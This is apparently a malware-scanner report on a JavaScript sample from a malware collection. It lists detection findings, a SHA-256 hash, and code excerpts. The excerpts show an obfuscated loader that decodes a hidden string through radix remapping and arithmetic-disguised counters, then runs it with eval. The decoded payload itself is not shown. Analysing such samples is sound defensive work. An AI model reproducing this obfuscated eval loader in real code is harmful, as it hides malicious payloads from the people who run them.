Suspicious ^80% javascript-malware-collection Download

20151211_7a857c52f3d814b696187869c01b5680.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25660c880abb323f90ac6cae42b011947243085e32a71268f9d93ceb2fa317cb94c

Evidence

parseInt toString radix remap lines 1–4

1:460… ','w','x','y','z','{','|','}','~','']
2function FUXnv(uwuWDJAEGvy,hgaQDTRFXLONH,QXhuAjil){nBro=parseInt(uwuWDJAEGvy,hgaQDTRFXLONH);Ilifi=nBro.toString(QXhuAjil);return Ilifi;}function qPaJQGimbipbVah(IxIIBrPNSRhNwORJf){eval(IxIIBrPNSRhNwORJf)}
3function zIkxbQsjbFuWYUBSdBFpEhpJqYWgKFLsEeLarwVhXzmjWcDklXJsTQ(jKyJhqLnwjgtM,BHYzwZocnzLcZn){ return olWfG[FUXnv(jKyJhqLnwjgtM[BHYzwZocnzLcZn],(17593+320)/853,(8356+4)/836)];}
4function RczOFOM(CyxOnWTTQFsHwjwLZveAwqttKeopBAatHCde) {return !isNaN(parseFloat(CyxOnWTTQFsHwjwLZveAwqttKeopBAatHCde)) && isFinite(CyxOnWTTQFsHw …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  Udjbo=[O,h];
9var bHruRkjiH=[];
10function XKzqsnYLlLLWeQUfd(Udjbo){BdanlOlodQC= '';DPJdrmdfQKT=(-732+732)/984; while(true){if(DPJdrmdfQKT >= (1478+170)/824)break;bHruRkjiH[DPJdrmdfQKT]=(-146+146)/253; while(true) { if(bHruRkjiH[DPJdrmdfQKT] > Udjbo[DPJdrmdfQKT].length-(-412+640)/228) { break; } if (RczOFOM(FUXnv(Udjbo[DPJdrmdfQKT][bHruRkjiH[DPJdrmdfQKT]],(9357+492)/469,(2860+650)/351))) {BdanlOlodQC += zIkxbQsjbFuWYUBSdBFpEhpJqYWgKFLsEeLarwVhXzmjWcDklXJsTQ([Udjbo[DPJdrmdfQKT][bHruRkjiH[DPJdrmdfQKT]]], (-524+524)/994);} bHruRkjiH[DPJdrmdfQKT]++;}DPJdrmdfQKT++;} return BdanlOlodQC}
11qPaJQGimbipbVah(XKzqsnYLlLLWeQUfd(Udjbo));